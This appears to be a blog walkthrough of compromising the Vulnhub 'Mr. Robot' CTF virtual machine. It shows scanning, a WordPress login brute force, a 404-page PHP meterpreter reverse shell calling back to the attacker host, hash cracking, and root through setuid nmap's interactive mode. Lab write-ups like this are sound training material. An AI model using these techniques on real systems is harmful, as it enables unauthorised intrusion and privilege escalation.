Today I’ll be documenting my method for compromising the Mr. Robot VM created by @Sho_Luv and hosted by Vulnhub.
This is a mini CTF with 3 “flags” to capture, Vulnhub touts this as being “beginner / intermediate”. Let’s get to it!
NMap reports that the following TCP ports are listening on the box –
root@kali:~# nmap -sV -T5 -p- 192.168.56.103
Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-10 19:05 GMT
Nmap scan report for 192.168.56.103
Host is up (0.0010s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd
MAC Address: 08:00:27:75:8B:B7 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 86.52 seconds
Not much to work with.. Two webservers and SSH is closed! Let’s kick off Dirb / Nikto on both services.
root@kali:~# dirb http://192.168.56.103:80
By The Dark Raver
START_TIME: Sat Mar 10 21:26:13 2018
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.56.103:80/ ----
==> DIRECTORY: http://192.168.56.103:80/0/
==> DIRECTORY: http://192.168.56.103:80/admin/
+ http://192.168.56.103:80/atom (CODE:301|SIZE:0)
==> DIRECTORY: http://192.168.56.103:80/audio/
==> DIRECTORY: http://192.168.56.103:80/blog/
==> DIRECTORY: http://192.168.56.103:80/css/
+ http://192.168.56.103:80/dashboard (CODE:302|SIZE:0)
+ http://192.168.56.103:80/favicon.ico (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.56.103:80/feed/
==> DIRECTORY: http://192.168.56.103:80/image/
==> DIRECTORY: http://192.168.56.103:80/Image/
==> DIRECTORY: http://192.168.56.103:80/images/
+ http://192.168.56.103:80/index.html (CODE:200|SIZE:1188)
+ http://192.168.56.103:80/index.php (CODE:301|SIZE:0)
+ http://192.168.56.103:80/intro (CODE:200|SIZE:516314)
==> DIRECTORY: http://192.168.56.103:80/js/
+ http://192.168.56.103:80/license (CODE:200|SIZE:309)
+ http://192.168.56.103:80/login (CODE:302|SIZE:0)
+ http://192.168.56.103:80/page1 (CODE:301|SIZE:0)
+ http://192.168.56.103:80/phpmyadmin (CODE:403|SIZE:94)
+ http://192.168.56.103:80/rdf (CODE:301|SIZE:0)
+ http://192.168.56.103:80/readme (CODE:200|SIZE:64)
+ http://192.168.56.103:80/robots (CODE:200|SIZE:41)
+ http://192.168.56.103:80/robots.txt (CODE:200|SIZE:41)
+ http://192.168.56.103:80/rss (CODE:301|SIZE:0)
+ http://192.168.56.103:80/rss2 (CODE:301|SIZE:0)
+ http://192.168.56.103:80/sitemap (CODE:200|SIZE:0)
+ http://192.168.56.103:80/sitemap.xml (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.56.103:80/video/
==> DIRECTORY: http://192.168.56.103:80/wp-admin/
+ http://192.168.56.103:80/wp-config (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.56.103:80/wp-content/
+ http://192.168.56.103:80/wp-cron (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.56.103:80/wp-includes/
+ http://192.168.56.103:80/wp-links-opml (CODE:200|SIZE:227)
+ http://192.168.56.103:80/wp-load (CODE:200|SIZE:0)
+ http://192.168.56.103:80/wp-login (CODE:200|SIZE:2620)
+ http://192.168.56.103:80/wp-mail (CODE:500|SIZE:3064)
+ http://192.168.56.103:80/wp-settings (CODE:500|SIZE:0)
+ http://192.168.56.103:80/wp-signup (CODE:302|SIZE:0)
+ http://192.168.56.103:80/xmlrpc (CODE:405|SIZE:42)
+ http://192.168.56.103:80/xmlrpc.php (CODE:405|SIZE:42)
LOADS of interesting stuff here.. Super interesting finds being the admin panel and the fact that this is a wordpress blog, which will guide our search for vulnerabilities.
Identical results on port 443 as port 80 – we can assume that it’s the same site for now, although we’ll investigate further if we get blocked.
root@kali:~# nikto -host http://192.168.56.103:80
- Nikto v2.1.6
+ Target IP: 192.168.56.103
+ Target Hostname: 192.168.56.103
+ Target Port: 80
+ Start Time: 2018-03-10 21:26:23 (GMT0)
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /readme: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://192.168.56.103/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A WordPress installation was found.
+ /wp-admin/wp-login.php: WordPress login found
+ /blog/wp-login.php: WordPress login found
+ /wp-login.php: WordPress login found
+ 7535 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time: 2018-03-10 21:34:24 (GMT0) (481 seconds)
+ 1 host(s) tested
Similar findings to dirb, /readme is worth investigating though!
As above, identical results on port 443 as port 80. We’ll work from port 443 for now and investigate port 80 in isolation later if we need to.
So we initially go and investigate robots.txt and find two entries –
Both are interesting, but navigating to “key-1-of-3.txt” gives us our first flag!
The other file (fsocity.dic) appears to be some kind of dictionary file with 800,000 entries! We’ll save that for later.
Navigating to /
Nothing particularly interesting happens if you navigate directly to “/”, other than a faux-Mr.Robot-themed-shell full of Mr. Robot related shenanigans. Ditto navigating to the admin panel (which was completely borked on my attacker VM, so I’ll leave that on the backburner for later.
Navigating to /wordpress
Not much here, just an empty WordPress blog..
Navigating to /image
Navigating to this URL yielded this image on the blog –
Nothing immediately useful here, but it may come in handy later. Let’s move on to prodding the WordPress installation with wpscan.
So this WordPress installation is absolutely hosed. It’s full of security holes and the output of WPScan was so big that it won’t fit nicely on this blog, so I’ll just highlight the key takeaways below!
Unauthenticated database export..
This is bad news. Worse news still is that by Googling this vuln I found that there’s a metasploit module for it 🙂
msf > search all-in-one
[!] Module database cache not built yet, using slow search
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/gather/wp_all_in_one_migration_export 2015-03-19 normal WordPress All-in-One Migration Export
msf > use auxiliary/gather/wp_all_in_one_migration_export
msf auxiliary(gather/wp_all_in_one_migration_export) > show options
Module options (auxiliary/gather/wp_all_in_one_migration_export):
Name Current Setting Required Description
---- --------------- -------- -----------
MAXTIME 300 yes The maximum number of seconds to wait for the export to complete
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
VHOST no HTTP server virtual host
msf auxiliary(gather/wp_all_in_one_migration_export) > set RHOST 192.168.56.103
RHOST => 192.168.56.103
msf auxiliary(gather/wp_all_in_one_migration_export) > run
[*] Requesting website export...
[+] Backup archive saved to /root/.msf4/loot/20180310222646_default_192.168.56.103_wordpress.export_409997.zip
[*] Auxiliary module execution completed
msf auxiliary(gather/wp_all_in_one_migration_export) >
Man.. Metasploit makes this too easy. So now we’ve got an export of the WordPress data base in a nice neat zip file. Let’s go find out what’s inside!
.. Absolutely nothing! Attempting to unzip the file moans because the file isn’t a valid ZIP file, and catting the file confirms our fears, it just confirms that number 0. Bah!
All of the other identified vulnerabilities don’t yield any paths to compromise either 🙁
Poking the wp-login.php page with a few of the usual usernames (admin, root, user, etc.) all yield an “invalid user” error message, which lead me to trying the TV show Mr. Robot’s protagonist’s name on the form –
On a whim we try using that dictionary file identified in robots.txt earlier (fsocity.dic) and 6 hours later (no joke) we get a valid login –
root@kali:~# wpscan --url 192.168.56.103 --wordlist /root/fsocity.dic --username Elliot --threads 100
[+] Starting the password brute forcer
| Id | Login | Name | Password |
| | elliot | | ER28-0652 |
[+] Finished: Sun Mar 11 04:22:13 2018
[+] Requests Done: 858206
[+] Memory used: 16.094 MB
[+] Elapsed time: 05:54:18
That password (ER28-0652) is at the very end of the file. Bah!
Let’s go and see what we can find with our new login.
Woot! this confirms that we’re the site administrator – which is good as it means that we’ll likely be able to upload a webshell and get the next flag. There’s also another user, which is interesting.. Her bio says “Another Key” but there’s no key there.. So we’ll bear that in mind later.
We’ll do the age-old trick of replacing the 404 page with a web shell (specifically a meterpreter reverse TCP shell.)
All that’s left to do is start msfconsole running a handler for that exploit and navigate to “$blogURL/ASDFG” or something.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.56.102
LHOST => 192.168.56.102
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.56.102:4444
[*] Sending stage (37543 bytes) to 192.168.56.103
[*] Meterpreter session 1 opened (192.168.56.102:4444 -> 192.168.56.103:36221) at 2018-03-11 21:42:14 +0000
meterpreter > #woot
So we’ve got a limited shell on the box now, let’s hunt out another flag and see about getting root.
So there’s a few things that we can do now. Running “ps aux | grep -i mysql” shows that there’s a MySQL database running, so we can use the wp-config.php file to get credentials for that and see what’s inside if we wish, starting smaller though let’s poke around the home directory –
cat: /home/robot/key-2-of-3.txt: Permission denied
OK so we’ve got a password hash (presumably) for the robot user, let’s chuck it in JtR and Crackstation to see what sticks –
Crackstation saves the day! Password of “abcdefghijklmnopqrstuvwxyz”… Let’s try and SSH in as robot with that password and see what happens. Oh wait. SSH is closed. Eurgh! Let’s upgrade our terminal to a TTY and su instead.
python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ su - robot
su - robot
$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
robot@linux:~$ cat key-2-of-3.txt
Nice! got the second key 🙂 Now let’s get root.
Running “unix-privesc-check” yields nothing of interest, so we use some commands from G0tmi1k’s privesc guide and find the following –
robot@linux:/tmp$ find / -perm -u=s -type f 2>/dev/null
Notice that weird reference to “nmap” in there? Why would nmap need the setuid bit set?! A quick Google confirms that we can use this to get a shell 🙂
robot@linux:/tmp$ /usr/local/bin/nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
Nmap Interactive Commands:
n <nmap args> -- executes an nmap scan using the arguments given and
waits for nmap to finish. Results are printed to the
screen (of course you can still use file output commands).
! <command> -- runs shell command given in the foreground
So we can just run “! /bin/bash” and get a root shell.. wow.
nmap> ! /bin/bash -p
! /bin/bash -p
uid=1(daemon) gid=1(daemon) euid=0(root) groups=0(root),1(daemon)
bash-4.3# cd /root
bash-4.3# cat key-3-of-3.txt
And we’re done.
This was a great box! Took me a long time as I got bogged down with the /admin infinite redirect bug, and some strange false positives from dirb. Definitely an intermediate VM I’d say as there are lots of rabbitholes to go down, but very fun.
If I had one tiny bit of feedback it’d be that it’s evil to provide a wordlist with nearly a million entries and have the valid password right at the end 😉